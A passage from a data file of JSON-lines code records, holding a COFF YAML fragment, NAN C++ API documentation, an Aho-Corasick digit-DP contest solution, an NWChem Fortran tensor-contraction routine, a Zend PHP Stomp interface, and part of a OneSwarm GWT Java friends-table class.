Type: IMAGE_REL_AMD64_SECREL\n - VirtualAddress: 48\n SymbolName: main\n Type: IMAGE_REL_AMD64_SECTION\n - VirtualAddress: 100\n SymbolName: main\n Type: IMAGE_REL_AMD64_SECREL\n - VirtualAddress: 104\n SymbolName: main\n Type: IMAGE_REL_AMD64_SECTION\n - Name: '.debug$T'\n Characteristics: [ IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ ]\n Alignment: 1\n Types:\n - Kind: LF_TYPESERVER2\n TypeServer2:\n Guid: '{01DF191B-22BF-6B42-96CE-5258B8329FE5}'\n Age: 18\n Name: 'pdb-diff-cl.pdb'\n - Name: '.text$mn'\n Characteristics: [ IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ ]\n Alignment: 16\n SectionData: 33C0C3\nsymbols:\n - Name: '.debug$S'\n Value: 0\n SectionNumber: 1\n SimpleType: IMAGE_SYM_TYPE_NULL\n ComplexType: IMAGE_SYM_DTYPE_NULL\n StorageClass: IMAGE_SYM_CLASS_STATIC\n SectionDefinition:\n Length: 328\n NumberOfRelocations: 4\n NumberOfLinenumbers: 0\n CheckSum: 0\n Number: 0\n - Name: '.debug$T'\n Value: 0\n SectionNumber: 2\n SimpleType: IMAGE_SYM_TYPE_NULL\n ComplexType: IMAGE_SYM_DTYPE_NULL\n StorageClass: IMAGE_SYM_CLASS_STATIC\n SectionDefinition:\n Length: 564\n NumberOfRelocations: 0\n NumberOfLinenumbers: 0\n CheckSum: 0\n Number: 0\n - Name: '.text$mn'\n Value: 0\n SectionNumber: 3\n SimpleType: IMAGE_SYM_TYPE_NULL\n ComplexType: IMAGE_SYM_DTYPE_NULL\n StorageClass: IMAGE_SYM_CLASS_STATIC\n SectionDefinition:\n Length: 3\n NumberOfRelocations: 0\n NumberOfLinenumbers: 0\n CheckSum: 4021952397\n Number: 0\n - Name: main\n Value: 0\n SectionNumber: 3\n SimpleType: IMAGE_SYM_TYPE_NULL\n ComplexType: IMAGE_SYM_DTYPE_FUNCTION\n StorageClass: IMAGE_SYM_CLASS_EXTERNAL\n...\n"} {"text": "## New\n\nNAN provides a `Nan::New()` helper for the creation of new JavaScript objects in a way that's compatible across the supported versions of V8.\n\n - <a href=\"#api_nan_new\"><b><code>Nan::New()</code></b></a>\n - <a href=\"#api_nan_undefined\"><b><code>Nan::Undefined()</code></b></a>\n - <a href=\"#api_nan_null\"><b><code>Nan::Null()</code></b></a>\n - <a href=\"#api_nan_true\"><b><code>Nan::True()</code></b></a>\n - <a href=\"#api_nan_false\"><b><code>Nan::False()</code></b></a>\n - <a href=\"#api_nan_empty_string\"><b><code>Nan::EmptyString()</code></b></a>\n\n\n<a name=\"api_nan_new\"></a>\n### Nan::New()\n\n`Nan::New()` should be used to instantiate new JavaScript objects.\n\nRefer to the specific V8 type in the [V8 documentation](https://v8docs.nodesource.com/io.js-3.0/d1/d83/classv8_1_1_data.html) for information on the types of arguments required for instantiation.\n\nSignatures:\n\nReturn types are mostly omitted from the signatures for simplicity. In most cases the type will be contained within a `v8::Local<T>`. The following types will be contained within a `Nan::MaybeLocal<T>`: `v8::String`, `v8::Date`, `v8::RegExp`, `v8::Script`, `v8::UnboundScript`.\n\nEmpty objects:\n\n```c++\nNan::New<T>();\n```\n\nGeneric single and multiple-argument:\n\n```c++\nNan::New<T>(A0 arg0);\nNan::New<T>(A0 arg0, A1 arg1);\nNan::New<T>(A0 arg0, A1 arg1, A2 arg2);\nNan::New<T>(A0 arg0, A1 arg1, A2 arg2, A3 arg3);\n```\n\nFor creating `v8::FunctionTemplate` and `v8::Function` objects:\n\n_The definition of `Nan::FunctionCallback` can be found in the [Method declaration](./methods.md#api_nan_method) documentation._\n\n```c++\nNan::New<T>(Nan::FunctionCallback callback,\n v8::Local<v8::Value> data = v8::Local<v8::Value>());\nNan::New<T>(Nan::FunctionCallback callback,\n v8::Local<v8::Value> data = v8::Local<v8::Value>(),\n A2 a2 = A2());\n```\n\nNative number types:\n\n```c++\nv8::Local<v8::Boolean> Nan::New<T>(bool value);\nv8::Local<v8::Int32> Nan::New<T>(int32_t value);\nv8::Local<v8::Uint32> Nan::New<T>(uint32_t value);\nv8::Local<v8::Number> Nan::New<T>(double value);\n```\n\nString types:\n\n```c++\nNan::MaybeLocal<v8::String> Nan::New<T>(std::string const& value);\nNan::MaybeLocal<v8::String> Nan::New<T>(const char * value, int length);\nNan::MaybeLocal<v8::String> Nan::New<T>(const char * value);\nNan::MaybeLocal<v8::String> Nan::New<T>(const uint16_t * value);\nNan::MaybeLocal<v8::String> Nan::New<T>(const uint16_t * value, int length);\n```\n\nSpecialized types:\n\n```c++\nv8::Local<v8::String> Nan::New<T>(v8::String::ExternalStringResource * value);\nv8::Local<v8::String> Nan::New<T>(Nan::ExternalOneByteStringResource * value);\nv8::Local<v8::RegExp> Nan::New<T>(v8::Local<v8::String> pattern, v8::RegExp::Flags flags);\n```\n\nNote that `Nan::ExternalOneByteStringResource` maps to [`v8::String::ExternalOneByteStringResource`](https://v8docs.nodesource.com/io.js-3.0/d9/db3/classv8_1_1_string_1_1_external_one_byte_string_resource.html), and `v8::String::ExternalAsciiStringResource` in older versions of V8.\n\n\n<a name=\"api_nan_undefined\"></a>\n### Nan::Undefined()\n\nA helper method to reference the `v8::Undefined` object in a way that is compatible across all supported versions of V8.\n\nSignature:\n\n```c++\nv8::Local<v8::Primitive> Nan::Undefined()\n```\n\n<a name=\"api_nan_null\"></a>\n### Nan::Null()\n\nA helper method to reference the `v8::Null` object in a way that is compatible across all supported versions of V8.\n\nSignature:\n\n```c++\nv8::Local<v8::Primitive> Nan::Null()\n```\n\n<a name=\"api_nan_true\"></a>\n### Nan::True()\n\nA helper method to reference the `v8::Boolean` object representing the `true` value in a way that is compatible across all supported versions of V8.\n\nSignature:\n\n```c++\nv8::Local<v8::Boolean> Nan::True()\n```\n\n<a name=\"api_nan_false\"></a>\n### Nan::False()\n\nA helper method to reference the `v8::Boolean` object representing the `false` value in a way that is compatible across all supported versions of V8.\n\nSignature:\n\n```c++\nv8::Local<v8::Boolean> Nan::False()\n```\n\n<a name=\"api_nan_empty_string\"></a>\n### Nan::EmptyString()\n\nCall [`v8::String::Empty`](https://v8docs.nodesource.com/io.js-3.0/d2/db3/classv8_1_1_string.html#a7c1bc8886115d7ee46f1d571dd6ebc6d) to reference the empty string in a way that is compatible across all supported versions of V8.\n\nSignature:\n\n```c++\nv8::Local<v8::String> Nan::EmptyString()\n```\n\n\n<a name=\"api_nan_new_one_byte_string\"></a>\n### Nan::NewOneByteString()\n\nAn implementation of [`v8::String::NewFromOneByte()`](https://v8docs.nodesource.com/io.js-3.0/d2/db3/classv8_1_1_string.html#a5264d50b96d2c896ce525a734dc10f09) provided for consistent availability and API across supported versions of V8. Allocates a new string from Latin-1 data.\n\nSignature:\n\n```c++\nNan::MaybeLocal<v8::String> Nan::NewOneByteString(const uint8_t * value,\n int length = -1)\n```\n"} {"text": "#include <bits/stdc++.h>\n\nusing namespace std;\n\nvoid debug_out() { cerr << endl; }\ntemplate <typename H, typename... T> void debug_out(H h, T... t) { cerr << \" \" << (h); debug_out(t...); }\nvoid read() {}\ntemplate <typename H, typename... T> void read(H &h, T&... t) { cin >> h; read(t...) ;}\ntemplate <typename H, typename... T> void read(vector<H> &h, T&... t) { for (auto &i : h) read(i); read(t...) ;}\n\n#ifndef LOCAL\n#define endl '\\n'\n#define debug(...) //\n#else\n#define debug(...) cerr << \"[\" << #__VA_ARGS__ << \"]:\", debug_out(__VA_ARGS__)\n#endif\n\nconst int MAXS = 4000 * 19 + 100;\nconst int MAXC = '9' - '0' + 1;\nbitset<5001> out[MAXS];\nint f[MAXS]; // Failure function\nint g[MAXS][MAXC]; // Goto function, or -1 if fail.\n\nint buildMatchingMachine(const vector<string> &words,\n char lowestChar = '0',\n char highestChar = '9') {\n\n for (int i = 0; i < MAXS; ++i)\n out[i].reset();\n\n memset(f, -1, sizeof f);\n memset(g, -1, sizeof g);\n\n int states = 1; // Initially, we just have the 0 state\n\n for (int i = 0; i < int(words.size()); ++i) {\n const string &keyword = words[i];\n int currentState = 0;\n for (int j = 0; j < int(keyword.size()); ++j) {\n int c = keyword[j] - lowestChar;\n if (g[currentState][c] == -1) { // Allocate a new node\n g[currentState][c] = states++;\n }\n currentState = g[currentState][c];\n }\n out[currentState].set(i); // There's a match of keywords[i] at node currentState.\n }\n\n for (int c = 0; c < MAXC; ++c) {\n if (g[0][c] == -1) {\n g[0][c] = 0;\n }\n }\n\n queue<int> q;\n for (int c = 0; c <= highestChar - lowestChar; ++c) { // Iterate over every possible input\n // All nodes s of depth 1 have f[s] = 0\n if (g[0][c] != -1 and g[0][c] != 0) {\n f[g[0][c]] = 0;\n q.push(g[0][c]);\n }\n }\n while (q.size()) {\n int state = q.front();\n q.pop();\n for (int c = 0; c <= highestChar - lowestChar; ++c) {\n if (g[state][c] != -1) {\n int failure = f[state];\n while (g[failure][c] == -1) {\n failure = f[failure];\n }\n failure = g[failure][c];\n f[g[state][c]] = failure;\n out[g[state][c]] |= out[failure]; // Merge out values\n q.push(g[state][c]);\n }\n }\n }\n\n return states;\n}\n\nint findNextState(int currentState, char nextInput, char lowestChar = 0) {\n int answer = currentState;\n int c = nextInput - lowestChar;\n while (g[answer][c] == -1) answer = f[answer];\n return g[answer][c];\n}\n\n\nlong long dp[20][MAXS][2];\n\nint main() {\n#ifndef LOCAL\n ios_base::sync_with_stdio(false); cin.tie(NULL);\n#endif\n long long n;\n while (cin >> n && n) {\n string border = to_string(n);\n int m; cin >> m;\n vector<string> bad(m);\n for (auto &w : bad)\n cin >> w;\n\n debug(border.size());\n\n int states = buildMatchingMachine(bad);\n debug(states);\n\n for (int i = 0; i < states; i++) {\n for (int j = 0; j < 2; j++) {\n dp[border.size()][i][j] = 1;\n }\n }\n\n for (int id = border.size() - 1; id >= 0; id--) {\n for (int state = 0; state < states; state++) {\n for (int top = 0; top < 2; top++) {\n int mmax = top ? border[id] - '0' : 9;\n long long ans = 0;\n for (int i = 0; i <= mmax; i++) {\n int nxt = findNextState(state, i);\n if (out[nxt].count() == 0) {\n ans += dp[id + 1][nxt][top && i == mmax];\n }\n }\n dp[id][state][top] = ans;\n }\n }\n }\n\n debug(n);\n\n cout << n - dp[0][0][1] + 1 << endl;\n }\n return 0;\n}\n\n"} {"text": " SUBROUTINE ccsdt_lr_beta_2_5_4(d_a,k_a_offset,d_b,k_b_offset,d_c,k\n &_c_offset)\nC $Id$\nC This is a Fortran77 program generated by Tensor Contraction Engine v.1.0\nC Copyright (c) Battelle & Pacific Northwest National Laboratory (2002)\nC i1 ( p10 p11 h9 h13 )_vtrbtra + = -2 * Sum ( p2 ) * tra ( p2 p10 h9 h13 )_tra * i2 ( p11 p2 )_vtrb\n IMPLICIT NONE\n#include \"global.fh\"\n#include \"mafdecls.fh\"\n#include \"sym.fh\"\n#include \"errquit.fh\"\n#include \"tce.fh\"\n INTEGER d_a\n INTEGER k_a_offset\n INTEGER d_b\n INTEGER k_b_offset\n INTEGER d_c\n INTEGER k_c_offset\n INTEGER nxtask\n INTEGER next\n INTEGER nprocs\n INTEGER count\n INTEGER p10b\n INTEGER p11b\n INTEGER h9b\n INTEGER h13b\n INTEGER dimc\n INTEGER l_c_sort\n INTEGER k_c_sort\n INTEGER p2b\n INTEGER p10b_1\n INTEGER p2b_1\n INTEGER h9b_1\n INTEGER h13b_1\n INTEGER p11b_2\n INTEGER p2b_2\n INTEGER dim_common\n INTEGER dima_sort\n INTEGER dima\n INTEGER dimb_sort\n INTEGER dimb\n INTEGER l_a_sort\n INTEGER k_a_sort\n INTEGER l_a\n INTEGER k_a\n INTEGER l_b_sort\n INTEGER k_b_sort\n INTEGER l_b\n INTEGER k_b\n INTEGER l_c\n INTEGER k_c\n EXTERNAL nxtask\n nprocs = GA_NNODES()\n count = 0\n next = nxtask(nprocs,1)\n DO p10b = noab+1,noab+nvab\n DO p11b = noab+1,noab+nvab\n DO h9b = 1,noab\n DO h13b = h9b,noab\n IF (next.eq.count) THEN\n IF ((.not.restricted).or.(int_mb(k_spin+p10b-1)+int_mb(k_spin+p11b\n &-1)+int_mb(k_spin+h9b-1)+int_mb(k_spin+h13b-1).ne.8)) THEN\n IF (int_mb(k_spin+p10b-1)+int_mb(k_spin+p11b-1) .eq. int_mb(k_spin\n &+h9b-1)+int_mb(k_spin+h13b-1)) THEN\n IF (ieor(int_mb(k_sym+p10b-1),ieor(int_mb(k_sym+p11b-1),ieor(int_m\n &b(k_sym+h9b-1),int_mb(k_sym+h13b-1)))) .eq. ieor(irrep_v,ieor(irre\n &p_trb,irrep_tra))) THEN\n dimc = int_mb(k_range+p10b-1) * int_mb(k_range+p11b-1) * int_mb(k_\n &range+h9b-1) * int_mb(k_range+h13b-1)\n IF (.not.MA_PUSH_GET(mt_dbl,dimc,'noname',l_c_sort,k_c_sort)) CALL\n & ERRQUIT('ccsdt_lr_beta_2_5_4',0,MA_ERR)\n CALL DFILL(dimc,0.0d0,dbl_mb(k_c_sort),1)\n DO p2b = noab+1,noab+nvab\n IF (int_mb(k_spin+p10b-1)+int_mb(k_spin+p2b-1) .eq. int_mb(k_spin+\n &h9b-1)+int_mb(k_spin+h13b-1)) THEN\n IF (ieor(int_mb(k_sym+p10b-1),ieor(int_mb(k_sym+p2b-1),ieor(int_mb\n &(k_sym+h9b-1),int_mb(k_sym+h13b-1)))) .eq. irrep_tra) THEN\n CALL TCE_RESTRICTED_4(p10b,p2b,h9b,h13b,p10b_1,p2b_1,h9b_1,h13b_1)\n CALL TCE_RESTRICTED_2(p11b,p2b,p11b_2,p2b_2)\n dim_common = int_mb(k_range+p2b-1)\n dima_sort = int_mb(k_range+p10b-1) * int_mb(k_range+h9b-1) * int_m\n &b(k_range+h13b-1)\n dima = dim_common * dima_sort\n dimb_sort = int_mb(k_range+p11b-1)\n dimb = dim_common * dimb_sort\n IF ((dima .gt. 0) .and. (dimb .gt. 0)) THEN\n IF (.not.MA_PUSH_GET(mt_dbl,dima,'noname',l_a_sort,k_a_sort)) CALL\n & ERRQUIT('ccsdt_lr_beta_2_5_4',1,MA_ERR)\n IF (.not.MA_PUSH_GET(mt_dbl,dima,'noname',l_a,k_a)) CALL ERRQUIT('\n &ccsdt_lr_beta_2_5_4',2,MA_ERR)\n IF ((p2b .le. p10b)) THEN\n CALL GET_HASH_BLOCK(d_a,dbl_mb(k_a),dima,int_mb(k_a_offset),(h13b_\n &1 - 1 + noab * (h9b_1 - 1 + noab * (p10b_1 - noab - 1 + nvab * (p2\n &b_1 - noab - 1)))))\n CALL TCE_SORT_4(dbl_mb(k_a),dbl_mb(k_a_sort),int_mb(k_range+p2b-1)\n &,int_mb(k_range+p10b-1),int_mb(k_range+h9b-1),int_mb(k_range+h13b-\n &1),4,3,2,1,1.0d0)\n END IF\n IF ((p10b .lt. p2b)) THEN\n CALL GET_HASH_BLOCK(d_a,dbl_mb(k_a),dima,int_mb(k_a_offset),(h13b_\n &1 - 1 + noab * (h9b_1 - 1 + noab * (p2b_1 - noab - 1 + nvab * (p10\n &b_1 - noab - 1)))))\n CALL TCE_SORT_4(dbl_mb(k_a),dbl_mb(k_a_sort),int_mb(k_range+p10b-1\n &),int_mb(k_range+p2b-1),int_mb(k_range+h9b-1),int_mb(k_range+h13b-\n &1),4,3,1,2,-1.0d0)\n END IF\n IF (.not.MA_POP_STACK(l_a)) CALL ERRQUIT('ccsdt_lr_beta_2_5_4',3,M\n &A_ERR)\n IF (.not.MA_PUSH_GET(mt_dbl,dimb,'noname',l_b_sort,k_b_sort)) CALL\n & ERRQUIT('ccsdt_lr_beta_2_5_4',4,MA_ERR)\n IF (.not.MA_PUSH_GET(mt_dbl,dimb,'noname',l_b,k_b)) CALL ERRQUIT('\n &ccsdt_lr_beta_2_5_4',5,MA_ERR)\n CALL GET_HASH_BLOCK(d_b,dbl_mb(k_b),dimb,int_mb(k_b_offset),(p2b_2\n & - noab - 1 + nvab * (p11b_2 - noab - 1)))\n CALL TCE_SORT_2(dbl_mb(k_b),dbl_mb(k_b_sort),int_mb(k_range+p11b-1\n &),int_mb(k_range+p2b-1),1,2,1.0d0)\n IF (.not.MA_POP_STACK(l_b)) CALL ERRQUIT('ccsdt_lr_beta_2_5_4',6,M\n &A_ERR)\n CALL DGEMM('T','N',dima_sort,dimb_sort,dim_common,1.0d0,dbl_mb(k_a\n &_sort),dim_common,dbl_mb(k_b_sort),dim_common,1.0d0,dbl_mb(k_c_sor\n &t),dima_sort)\n IF (.not.MA_POP_STACK(l_b_sort)) CALL ERRQUIT('ccsdt_lr_beta_2_5_4\n &',7,MA_ERR)\n IF (.not.MA_POP_STACK(l_a_sort)) CALL ERRQUIT('ccsdt_lr_beta_2_5_4\n &',8,MA_ERR)\n END IF\n END IF\n END IF\n END DO\n IF (.not.MA_PUSH_GET(mt_dbl,dimc,'noname',l_c,k_c)) CALL ERRQUIT('\n &ccsdt_lr_beta_2_5_4',9,MA_ERR)\n IF ((p10b .le. p11b)) THEN\n CALL TCE_SORT_4(dbl_mb(k_c_sort),dbl_mb(k_c),int_mb(k_range+p11b-1\n &),int_mb(k_range+h13b-1),int_mb(k_range+h9b-1),int_mb(k_range+p10b\n &-1),4,1,3,2,-1.0d0)\n CALL ADD_HASH_BLOCK(d_c,dbl_mb(k_c),dimc,int_mb(k_c_offset),(h13b \n &- 1 + noab * (h9b - 1 + noab * (p11b - noab - 1 + nvab * (p10b - n\n &oab - 1)))))\n END IF\n IF ((p11b .le. p10b)) THEN\n CALL TCE_SORT_4(dbl_mb(k_c_sort),dbl_mb(k_c),int_mb(k_range+p11b-1\n &),int_mb(k_range+h13b-1),int_mb(k_range+h9b-1),int_mb(k_range+p10b\n &-1),1,4,3,2,1.0d0)\n CALL ADD_HASH_BLOCK(d_c,dbl_mb(k_c),dimc,int_mb(k_c_offset),(h13b \n &- 1 + noab * (h9b - 1 + noab * (p10b - noab - 1 + nvab * (p11b - n\n &oab - 1)))))\n END IF\n IF (.not.MA_POP_STACK(l_c)) CALL ERRQUIT('ccsdt_lr_beta_2_5_4',10,\n &MA_ERR)\n IF (.not.MA_POP_STACK(l_c_sort)) CALL ERRQUIT('ccsdt_lr_beta_2_5_4\n &',11,MA_ERR)\n END IF\n END IF\n END IF\n next = nxtask(nprocs,1)\n END IF\n count = count + 1\n END DO\n END DO\n END DO\n END DO\n next = nxtask(-nprocs,1)\n call GA_SYNC()\n RETURN\n END\n"} {"text": "<?php\n/**\n * Zend Framework\n *\n * LICENSE\n *\n * This source file is subject to the new BSD license that is bundled\n * with this package in the file LICENSE.txt.\n * It is also available through the world-wide-web at this URL:\n * http://framework.zend.com/license/new-bsd\n * If you did not receive a copy of the license and are unable to\n * obtain it through the world-wide-web, please send an email\n * to license@zend.com so we can send you a copy immediately.\n *\n * @category Zend\n * @package Zend_Queue\n * @subpackage Stomp\n * @copyright Copyright (c) 2005-2012 Zend Technologies USA Inc. (http://www.zend.com)\n * @license http://framework.zend.com/license/new-bsd New BSD License\n * @version $Id: ConnectionInterface.php 24593 2012-01-05 20:35:02Z matthew $\n */\n\n/**\n * The Stomp client interacts with a Stomp server.\n *\n * @category Zend\n * @package Zend_Queue\n * @subpackage Stomp\n * @copyright Copyright (c) 2005-2012 Zend Technologies USA Inc. (http://www.zend.com)\n * @license http://framework.zend.com/license/new-bsd New BSD License\n */\ninterface Zend_Queue_Stomp_Client_ConnectionInterface\n{\n /**\n * @param string $scheme ['tcp', 'udp']\n * @param string host\n * @param integer port\n * @param string class - create a connection with this class; class must support Zend_Queue_Stomp_Client_Connection_Interface\n * @return boolean\n */\n public function open($scheme, $host, $port);\n\n /**\n * @param boolean $destructor\n * @return void\n */\n public function close($destructor = false);\n\n /**\n * Check whether we are connected to the server\n *\n * @return true\n * @throws Zend_Queue_Exception\n */\n public function ping();\n\n /**\n * write a frame to the stomp server\n *\n * example: $response = $client->write($frame)->read();\n *\n * @param Zend_Queue_Stomp_FrameInterface $frame\n * @return $this\n */\n public function write(Zend_Queue_Stomp_FrameInterface $frame);\n\n /**\n * tests the socket to see if there is data for us\n */\n public function canRead();\n\n /**\n * reads in a frame from the socket or returns false.\n *\n * @return Zend_Queue_Stomp_Frame|false\n * @throws Zend_Queue_Exception\n */\n public function read();\n\n /**\n * Set the frame class to be used\n *\n * This must be a Zend_Queue_Stomp_FrameInterface.\n *\n * @param string $class\n * @return Zend_Queue_Stomp_Client_ConnectionInterface;\n */\n public function setFrameClass($class);\n\n /**\n * Get the frameClass\n *\n * @return string\n */\n public function getFrameClass();\n\n /**\n * create an empty frame\n *\n * @return Zend_Queue_Stomp_FrameInterface class\n */\n public function createFrame();\n}\n"} {"text": "package edu.washington.cs.oneswarm.ui.gwt.client.newui.friends;\n\nimport java.util.ArrayList;\nimport java.util.HashMap;\nimport java.util.List;\nimport java.util.Map;\nimport java.util.Set;\n\nimport com.google.gwt.gen2.table.client.FixedWidthFlexTable;\nimport com.google.gwt.gen2.table.client.FixedWidthGrid;\nimport com.google.gwt.gen2.table.client.ScrollTable;\nimport com.google.gwt.gen2.table.client.SelectionGrid.SelectionPolicy;\nimport com.google.gwt.gen2.table.event.client.RowSelectionEvent;\nimport com.google.gwt.gen2.table.event.client.RowSelectionHandler;\nimport com.google.gwt.user.client.Window;\nimport com.google.gwt.user.client.rpc.AsyncCallback;\nimport com.google.gwt.user.client.ui.HorizontalPanel;\nimport com.google.gwt.user.client.ui.Label;\nimport com.google.gwt.user.client.ui.SourcesTableEvents;\nimport com.google.gwt.user.client.ui.TableListener;\nimport com.google.gwt.user.client.ui.Widget;\n\nimport edu.washington.cs.oneswarm.ui.gwt.client.OneSwarmDialogBox;\nimport edu.washington.cs.oneswarm.ui.gwt.client.OneSwarmGWT;\nimport edu.washington.cs.oneswarm.ui.gwt.client.OneSwarmRPCClient;\nimport edu.washington.cs.oneswarm.ui.gwt.client.newui.SwarmsBrowser;\nimport edu.washington.cs.oneswarm.ui.gwt.client.newui.friends.FriendInfo.SortableNamePanel;\nimport edu.washington.cs.oneswarm.ui.gwt.client.newui.friends.wizard.FriendsImportWizard;\nimport edu.washington.cs.oneswarm.ui.gwt.client.newui.transfer_details.TransferColumnSorter;\nimport edu.washington.cs.oneswarm.ui.gwt.rpc.FriendInfoLite;\nimport edu.washington.cs.oneswarm.ui.gwt.rpc.FriendList;\n\npublic class FriendsDetailsTable extends ScrollTable {\n\n interface SelectionCallback {\n public void deselectedAll();\n\n public void somethingSelected();\n }\n\n interface RefreshCallback {\n public void refreshed(FriendList result);\n }\n\n public static class HeaderWithWidth {\n public String name;\n public int width;\n public boolean center;\n\n public HeaderWithWidth(String name, int width) {\n this(name, width, false);\n }\n\n public HeaderWithWidth(String name, int width, boolean center) {\n this.name = name;\n this.width = width;\n this.center = center;\n }\n\n }\n\n private static final HeaderWithWidth[] COLUMNS = new HeaderWithWidth[] {\n new HeaderWithWidth(\"\", 15),\n\n new HeaderWithWidth(\"Name\", 80, true), new HeaderWithWidth(\"Last connect\", 40),\n\n new HeaderWithWidth(\"Ratio\", 25), new HeaderWithWidth(\"Received\", 30),\n\n new HeaderWithWidth(\"Sent\", 30), new HeaderWithWidth(\"Limited\", 25),\n\n new HeaderWithWidth(\"Allow chat\", 35), new HeaderWithWidth(\"Date added\", 38),\n\n new HeaderWithWidth(\"Source\", 55) };\n\n // private SwarmsBrowser mSwarmsBrowser;\n private FixedWidthGrid mData = null;\n private FixedWidthFlexTable mHeader = null;\n // private long mNextUpdate = System.currentTimeMillis();\n // private FriendInfoLite[] friends;\n // private ArrayList<FriendInfo> friendinfos = new ArrayList<FriendInfo>();\n // private ArrayList<FrendInfoEncapsulatingCheckBox> selectors = new\n // ArrayList<FrendInfoEncapsulatingCheckBox>();\n // private boolean firstexecution = true;\n private Map<String, Integer> newFriendRequestCounts = new HashMap<String, Integer>();\n // private boolean noremoveoperation = true;\n // private int currentwidget = 0;\n private List<SelectionCallback> mSelectionCallbacks = new ArrayList<SelectionCallback>();\n private RefreshCallback mRefreshCallback;\n private boolean mShowBlocked = false;\n\n public FriendsDetailsTable(SwarmsBrowser swarmbrowser, RefreshCallback refreshCallback) {\n super(new FixedWidthGrid(0, COLUMNS.length - 1) {\n @Override\n protected int getInputColumnWidth() {\n return COLUMNS[0].width;\n }\n }, new FixedWidthFlexTable());\n // mSwarmsBrowser = swarmbrowser;\n mData = getDataTable();\n mHeader = getHeaderTable();\n\n // mData.addSortableColumnsListener(new SortableColumnsListener(){\n // public void onColumnSorted(ColumnSortList sortList) {\n // sortList.getPrimaryColumn();\n // }});\n\n setScrollPolicy(ScrollPolicy.DISABLED);\n mData.setSelectionPolicy(SelectionPolicy.CHECKBOX);\n setResizePolicy(ResizePolicy.FILL_WIDTH);\n setupHeader();\n mData.setColumnSorter(new TransferColumnSorter());\n\n mRefreshCallback = refreshCallback;\n\n mHeader.setWidth(\"100%\");\n mData.setWidth(\"100%\");\n\n mData.addTableListener(new TableListener() {\n public void onCellClicked(SourcesTableEvents sender, int row, int cell) {\n if (mData.isRowSelected(row)) {\n mData.deselectRow(row);\n } else {\n mData.selectRow(row, false);\n }\n selectionChangedCheckIfListenersShouldBeNotified();\n }\n });\n\n mData.addRowSelectionHandler(new RowSelectionHandler() {\n public void onRowSelection(RowSelectionEvent event) {\n selectionChangedCheckIfListenersShouldBeNotified();\n }\n });\n\n resizeTable();\n refresh();\n\n }\n\n private void selectionChangedCheckIfListenersShouldBeNotified() {\n Set<Integer> selectedRows = mData.getSelectedRows();\n if (selectedRows.size() > 0) {\n for (SelectionCallback c : mSelectionCallbacks) {\n c.somethingSelected();\n }\n } else {\n for (SelectionCallback c : mSelectionCallbacks) {\n c.deselectedAll();\n }\n }\n }\n\n /*\n * resize the table but keep the checkboxes aligned\n */\n private void resizeTable() {\n for (int i = 0; i < COLUMNS.length; i++) {\n mHeader.setColumnWidth(i, COLUMNS[i].width);\n if (i < COLUMNS.length - 1) {\n mData.setColumnWidth(i, COLUMNS[i + 1].width);\n }\n }\n fillWidth();\n redraw();\n }\n\n private void setupHeader() {\n for (int i = 0; i < COLUMNS.length; i++) {\n mHeader.setText(0, i, COLUMNS[i].name);\n if (COLUMNS[i].center) {\n mHeader.getCellFormatter().setHorizontalAlignment(0, i,\n HorizontalPanel.ALIGN_CENTER);\n }\n }\n }\n\n public void onDetach() {\n super.onDetach();\n // int size = friendinfos.size();\n // for (int i = 0;i < size;i++) {\n // friendinfos.get(i);\n // }\n // for (int j = 0;j < size;j++) {\n // friendinfos.remove(0);\n // }\n // friends = null;\n }\n\n // public void onAttach() {\n // super.onAttach();\n // }\n\n public void selectall() {\n mData.selectAllRows();\n selectionChangedCheckIfListenersShouldBeNotified();\n }\n\n public void deselectall() {\n mData.deselectAllRows();\n selectionChangedCheckIfListenersShouldBeNotified();\n }\n\n public void forceConnect() {\n // for (int i = 0;i < friends.length;i++) {\n // if (selectors.get(i).getValue()) {\n\n OneSwarmRPCClient.getService().connectToFriends(OneSwarmRPCClient.getSessionID(),\n this.getSelectedFriends().toArray(new FriendInfoLite[0]),\n new AsyncCallback<Void>() {\n public void onFailure(Throwable caught) {\n OneSwarmGWT.log(\"connect to friend: got error\");\n }\n\n public void onSuccess(Void result) {\n refresh();\n OneSwarmGWT.log(\"connection attempt initiated\");\n }\n });\n }\n\n private List<FriendInfoLite> getSelectedFriends() {\n List<FriendInfoLite> out = new ArrayList<FriendInfoLite>();\n\n for (int i = 0; i < mData.getRowCount(); i++) {\n SortableNamePanel cb = (SortableNamePanel) mData.getWidget(i, 0);\n if (mData.isRowSelected(i)) {\n out.add(cb.getFriendInfo().getFriendInfoLite());\n }\n }\n\n // for( int i=0; i<friends.length; i++ ) {\n // if( selectors.get(i).getValue() ) {\n // out.add(friends[i]);\n // }\n // }\n return out;\n }\n\n public void blockClicked() {\n\n List<FriendInfoLite> selected = getSelectedFriends();\n Boolean shouldBlock = null;\n for (FriendInfoLite f : selected) {\n if (shouldBlock == null) {\n shouldBlock = !f.isBlocked();\n }\n System.out.println(\"setting \" + f.getName() + \" blocked? \" + shouldBlock);\n f.setBlocked(shouldBlock);\n }\n\n OneSwarmRPCClient.getService().setFriendsSettings(OneSwarmRPCClient.getSessionID(),\n selected.toArray(new FriendInfoLite[0]), new AsyncCallback<Void>() {\n public void onFailure(Throwable caught) {\n caught.printStackTrace();\n }\n\n public void onSuccess(Void result) {\n System.out.println(\"success\");\n refresh();\n }\n });\n }\n\n public void removeClicked() {\n\n FriendInfoLite[] selectedArr = getSelectedFriends().toArray(new FriendInfoLite[0]);\n\n String prompt = \"Are you sure you want to permanently delete \";\n if (selectedArr.length < 5) {\n for (int i = 0; i < selectedArr.length; i++) {\n prompt += selectedArr[i].getName() + \" \";\n }\n prompt += \"?\";\n } else {\n prompt += selectedArr.length + \" friends?\";\n }\n\n if (Window.confirm(prompt)) {\n\n OneSwarmRPCClient.getService().deleteFriends(OneSwarmRPCClient.getSessionID(),\n selectedArr, new AsyncCallback<Void>() {\n public void onFailure(Throwable caught) {\n OneSwarmGWT.log(\"delete friend: got error\");\n }\n\n public void onSuccess(Void result) {\n OneSwarmGWT.log(\"friend deleted\");\n // noremoveoperation = false;\n refresh();\n deselectall();\n }\n });\n }\n\n // for (int i = 0;i < friends.length;i++) {\n // if (selectors.get(i).getValue()) {\n // if (friends[i].isBlocked()) {\n // OneSwarmRPCClient.getService().deleteFriend(OneSwarmRPCClient.getSessionID(),\n // friends[i], new AsyncCallback<Void>() {\n // public void onFailure(Throwable caught) {\n // OneSwarmGWT.log(\"delete friend: got error\");\n // }\n //\n // public void onSuccess(Void result) {\n // 